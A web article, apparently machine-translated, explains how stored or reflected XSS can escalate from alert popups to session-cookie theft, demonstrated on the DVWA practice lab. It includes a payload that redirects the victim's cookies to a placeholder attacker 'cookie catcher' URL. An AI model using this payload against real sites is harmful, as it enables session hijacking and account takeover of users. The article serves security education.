The devastating consequences of XSS


We have been watching it lately XSS to become more and more known in the field of application security. Although it is  SQL Injection does not say to lose its first, as the most widespread vulnerability in IT systems as defined by OWASP Top 10, type vulnerabilities XSS are gaining more and more ground as knowledge of exploitation of vulnerability grows and the impact of such an attack is growing.

XSS vulnerabilities are divided into 3 types:

  • Reflected
  • Stored
  • DOM Based

The details of each type of vulnerability are beyond the scope of this article, the important thing is to take into account that the same effects can happen to each type.

In most cases, when a type vulnerability occurs XSS either by malicious users or by system security consultants, we see one of the most painful effects, which is the presentation of a popup window in the browser that is accomplished by entering the Java code alert(“XSS”) . Simply puts the browser to display the window with the message "XSS ".

For the presentation we will use the Damn Vulnerable Web Application (DVWA) which is designed to practice and learn various kinds of vulnerabilities.

DVWA

Although this does not cause concern to the user, for malicious users this is an introduction to further escalate the attack with enough disastrous results.

Another important thing to keep in mind is that the vulnerability of this vulnerability is most apparent when the application is accessible to users after their credentials have been registered, eg eBanking, eBay, Amazon, etc.

Malicious users use techniques so that each application does not force users to enter their credentials when navigating page by page, but stored in a special file that is sent by the server and stored in the user's browser. This file contains information from whether the user has already logged in, up to information about his shopping cart etc.

These files are our known Cookies, which are usually erased immediately after the browser is closed, if this is not done, then the risk of theft is increased and used at a later stage. This file is moved back to the server every time a user opens a page in the application.

Each time the user requests a page the browser sends the Cookie into the header of the request. In case the user does not have a cookie or it has expired then the server responds with a new cookie in its own header which is stored in the browser.

When a malicious user retrieves the file, it will be able to access the application without the need to register credentials and will be able to use the application as its legitimate user.

The way this attack works is listed below.

XSS Flow

It is worth mentioning here that Chrome has a built-in XSS Auditor, which is a mechanism for recognizing and preventing the exploitation of XSS vulnerabilities. Although this mechanism recognizes the attempts and protects the user by preventing the execution of the code, nevertheless, fraudulent attacks have become known.

As in the case of the message "XSS", the user-friendly Cookie that is stored in his browser can also be displayed in the same simple way by entering the code alert(document.Cookie) .

One of the difficulties of success of these attacks is the fact that vulnerability occurs in the user window. That is, even if the Cookie appears on the user's screen this does not make it dangerous unless the malicious user has access to the victim's screen. Malicious users have thought that since these vulnerabilities are related to the introduction of code then the next step would be to enter code that will send the Cookies to them through other channels such as email or a website that belongs to the malicious user and can serve as Cookie catcher.

We return to DVWA in order to get the user's Cookies and send them to the Cookie catcher that is controlled by us and enter the code document.location=”http://xxx.xxx.xxx.xx/catcher.php?c=”+document.Cookie where X is the IP of our Cookie catcher.

In our case our Cookie catcher is a simple PHP web site that stores the information that comes as:

  •  Cookie
  • IP
  • Referrer
  • Date

The results of the attack are shown below demonstrating the success of the attack after we were able to extract the Cookies as well as other useful information. The malicious user can now enter the application using cookies and without the need to enter a password. Also, it is important that this attack is very difficult to be recognized by the user, since all he sees is that the page does not load.

cookies

The purpose of this article was to show that the pressures of the press XSS are not limited to simply popup loopholes, but can have catastrophic consequences such as theft of personal data, theft of money,

Registration in iGuRu.gr via Email

Enter your email to subscribe to the email notification service for new posts.

 

 


Read them Technology News from all over the world, with the validity of iGuRu.gr

Follow us on Google News iGuRu.gr at Google news